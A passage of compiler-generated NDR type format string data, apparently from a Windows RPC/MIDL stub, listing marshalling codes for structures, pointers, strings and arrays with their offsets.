*/ + 0x7, /* 7 */ +/* 1968 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1970 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1972 */ NdrFcShort( 0xc ), /* Offset= 12 (1984) */ +/* 1974 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1976 */ NdrFcShort( 0xf864 ), /* Offset= -1948 (28) */ +/* 1978 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1980 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 1982 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1984 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1986 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1988 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1990 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1992 */ + 0x12, 0x0, /* FC_UP */ +/* 1994 */ NdrFcShort( 0x2 ), /* Offset= 2 (1996) */ +/* 1996 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1998 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2000 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2002 */ NdrFcShort( 0xf84a ), /* Offset= -1974 (28) */ +/* 2004 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2006 */ + 0x12, 0x0, /* FC_UP */ +/* 2008 */ NdrFcShort( 0x2 ), /* Offset= 2 (2010) */ +/* 2010 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2012 */ NdrFcShort( 0x50 ), /* 80 */ +/* 2014 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2016 */ NdrFcShort( 0x18 ), /* Offset= 24 (2040) */ +/* 2018 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2020 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2022 */ NdrFcShort( 0xf836 ), /* Offset= -1994 (28) */ +/* 2024 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2026 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 2028 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2030 */ NdrFcShort( 0xf82e ), /* Offset= -2002 (28) */ +/* 2032 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 2034 */ 0x0, /* 0 */ + NdrFcShort( 0xf829 ), /* Offset= -2007 (28) */ + 0xb, /* FC_HYPER */ +/* 2038 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2040 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2042 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2044 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2046 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2048 */ + 0x12, 0x0, /* FC_UP */ +/* 2050 */ NdrFcShort( 0x2 ), /* Offset= 2 (2052) */ +/* 2052 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2054 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2056 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2058 */ NdrFcShort( 0xc ), /* Offset= 12 (2070) */ +/* 2060 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2062 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2064 */ NdrFcShort( 0xf80c ), /* Offset= -2036 (28) */ +/* 2066 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2068 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2070 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2072 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2074 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2076 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2078 */ + 0x12, 0x0, /* FC_UP */ +/* 2080 */ NdrFcShort( 0x18 ), /* Offset= 24 (2104) */ +/* 2082 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2084 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2086 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2088 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2090 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2092 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2096 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2098 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2100 */ NdrFcShort( 0xfb60 ), /* Offset= -1184 (916) */ +/* 2102 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2104 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2106 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2110 */ NdrFcShort( 0x10 ), /* Offset= 16 (2126) */ +/* 2112 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2114 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2116 */ NdrFcShort( 0xf7d8 ), /* Offset= -2088 (28) */ +/* 2118 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2120 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2122 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2124 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2126 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2128 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2130 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2132 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2134 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2136 */ NdrFcShort( 0xffca ), /* Offset= -54 (2082) */ +/* 2138 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2140 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2142 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2144 */ NdrFcShort( 0x0 ), /* Offset= 0 (2144) */ +/* 2146 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2148 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2150 */ NdrFcShort( 0xfebe ), /* Offset= -322 (1828) */ +/* 2152 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2154 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2156 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2158 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2160 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2162 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2164 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2166 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2168 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2170 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2172 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2174 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2176 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2178 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2180 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2184 */ NdrFcShort( 0x10 ), /* Offset= 16 (2200) */ +/* 2186 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2188 */ NdrFcShort( 0xf7e2 ), /* Offset= -2078 (110) */ +/* 2190 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 2192 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2194 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2196 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2198 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2200 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2202 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2204 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2206 */ NdrFcShort( 0xffcc ), /* Offset= -52 (2154) */ +/* 2208 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2210 */ NdrFcShort( 0xffd4 ), /* Offset= -44 (2166) */ +/* 2212 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2214 */ NdrFcShort( 0x48 ), /* 72 */ +/* 2216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2218 */ NdrFcShort( 0x0 ), /* Offset= 0 (2218) */ +/* 2220 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2222 */ NdrFcShort( 0xffac ), /* Offset= -84 (2138) */ +/* 2224 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2226 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2178) */ +/* 2228 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2230 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2232 */ NdrFcShort( 0x2 ), /* Offset= 2 (2234) */ +/* 2234 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 2236 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2238 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2240 */ NdrFcShort( 0xf750 ), /* Offset= -2224 (16) */ +/* 2242 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2244 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2246 */ + 0x11, 0x0, /* FC_RP */ +/* 2248 */ NdrFcShort( 0xff92 ), /* Offset= -110 (2138) */ +/* 2250 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2252 */ NdrFcShort( 0x2 ), /* Offset= 2 (2254) */ +/* 2254 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2256 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2258 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2262 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2264 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2266 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2268 */ NdrFcShort( 0x2 ), /* Offset= 2 (2270) */ +/* 2270 */ + 0x12, 0x0, /* FC_UP */ +/* 2272 */ NdrFcShort( 0x18 ), /* Offset= 24 (2296) */ +/* 2274 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2276 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2278 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2280 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2282 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2284 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2288 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2290 */ + 0x12, 0x0, /* FC_UP */ +/* 2292 */ NdrFcShort( 0xf8e8 ), /* Offset= -1816 (476) */ +/* 2294 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2296 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2298 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2300 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2302 */ NdrFcShort( 0xe ), /* Offset= 14 (2316) */ +/* 2304 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2306 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2308 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2310 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2312 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2314 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 2316 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2318 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2320 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2322 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2274) */ +/* 2324 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2326 */ NdrFcShort( 0xa ), /* Offset= 10 (2336) */ +/* 2328 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 2330 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2332 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2334 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2336 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2338 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2342 */ NdrFcShort( 0x0 ), /* Offset= 0 (2342) */ +/* 2344 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2346 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2348 */ NdrFcShort( 0xffec ), /* Offset= -20 (2328) */ +/* 2350 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2352 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2354 */ NdrFcShort( 0x2 ), /* Offset= 2 (2356) */ +/* 2356 */ + 0x12, 0x0, /* FC_UP */ +/* 2358 */ NdrFcShort( 0xfd7a ), /* Offset= -646 (1712) */ +/* 2360 */ + 0x11, 0x0, /* FC_RP */ +/* 2362 */ NdrFcShort( 0x2 ), /* Offset= 2 (2364) */ +/* 2364 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2366 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2368 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2372 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2374 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2376 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2378 */ NdrFcShort( 0x2 ), /* Offset= 2 (2380) */ +/* 2380 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2382 */ NdrFcShort( 0x2 ), /* Offset= 2 (2384) */ +/* 2384 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2388 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2390 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2392 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2394 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2398 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2400 */ + 0x12, 0x0, /* FC_UP */ +/* 2402 */ NdrFcShort( 0xfb56 ), /* Offset= -1194 (1208) */ +/* 2404 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2406 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2408 */ NdrFcShort( 0x2 ), /* Offset= 2 (2410) */ +/* 2410 */ + 0x12, 0x0, /* FC_UP */ +/* 2412 */ NdrFcShort( 0x2 ), /* Offset= 2 (2414) */ +/* 2414 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2416 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2418 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2420 */ NdrFcShort( 0xa ), /* Offset= 10 (2430) */ +/* 2422 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 2424 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2426 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2428 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2430 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2432 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2434 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2436 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2438 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2440 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2442 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2444 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2446 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2448 */ NdrFcShort( 0x2 ), /* Offset= 2 (2450) */ +/* 2450 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2452 */ NdrFcShort( 0x2 ), /* Offset= 2 (2454) */ +/* 2454 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2456 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2458 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2460 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2462 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2464 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2466 */ + 0x11, 0x0, /* FC_RP */ +/* 2468 */ NdrFcShort( 0x2 ), /* Offset= 2 (2470) */ +/* 2470 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2472 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2476 */ NdrFcShort( 0xc ), /* Offset= 12 (2488) */ +/* 2478 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2480 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2482 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2486 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2488 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2490 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2492 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2494 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2496 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2498 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2500 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2502 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2504 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2506 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2508 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2510 */ NdrFcShort( 0x2 ), /* Offset= 2 (2512) */ +/* 2512 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2514 */ NdrFcShort( 0x18 ), /* Offset= 24 (2538) */ +/* 2516 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2518 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2522 */ NdrFcShort( 0x8 ), /* Offset= 8 (2530) */ +/* 2524 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2526 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2528 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2530 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2532 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2534 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2536 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2538 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2540 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2542 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2544 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2546 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2548 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2552 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2554 */ + 0x12, 0x0, /* FC_UP */ +/* 2556 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (2516) */ +/* 2558 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2560 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2562 */ NdrFcShort( 0x2 ), /* Offset= 2 (2564) */ +/* 2564 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2568 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2570 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2572 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2574 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2578 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2580 */ + 0x12, 0x0, /* FC_UP */ +/* 2582 */ NdrFcShort( 0xffbe ), /* Offset= -66 (2516) */ +/* 2584 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2586 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 2588 */ 0x2, /* FC_CHAR */ + 0x5c, /* FC_PAD */ +/* 2590 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2592 */ NdrFcShort( 0x2 ), /* Offset= 2 (2594) */ +/* 2594 */ + 0x12, 0x0, /* FC_UP */ +/* 2596 */ NdrFcShort( 0x38 ), /* Offset= 56 (2652) */ +/* 2598 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2600 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2602 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2604 */ NdrFcShort( 0x6 ), /* Offset= 6 (2610) */ +/* 2606 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2608 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2610 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2612 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2614 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2616 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2618 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2622 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2626 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2628 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2632 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2634 */ + 0x12, 0x0, /* FC_UP */ +/* 2636 */ NdrFcShort( 0xffda ), /* Offset= -38 (2598) */ +/* 2638 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2640 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2642 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2644 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2646 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2648 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2650 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2652 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2654 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2658 */ NdrFcShort( 0xc ), /* Offset= 12 (2670) */ +/* 2660 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2662 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2664 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2666 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 2668 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 2670 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2672 */ NdrFcShort( 0xffca ), /* Offset= -54 (2618) */ +/* 2674 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2676 */ NdrFcShort( 0xffdc ), /* Offset= -36 (2640) */ +/* 2678 */ + 0x11, 0x0, /* FC_RP */ +/* 2680 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (2652) */ +/* 2682 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2684 */ NdrFcShort( 0x2 ), /* Offset= 2 (2686) */ +/* 2686 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2688 */ NdrFcShort( 0x2 ), /* Offset= 2 (2690) */ +/* 2690 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2692 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2694 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2698 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2700 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2704 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2706 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2708 */ NdrFcShort( 0xf57c ), /* Offset= -2692 (16) */ +/* 2710 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2712 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2714 */ NdrFcShort( 0x2 ), /* Offset= 2 (2716) */ +/* 2716 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2718 */ NdrFcShort( 0x1a ), /* Offset= 26 (2744) */ +/* 2720 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2722 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2726 */ NdrFcShort( 0xa ), /* Offset= 10 (2736) */ +/* 2728 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2730 */ NdrFcShort( 0xf566 ), /* Offset= -2714 (16) */ +/* 2732 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2734 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2736 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2738 */ + 0x25, /* 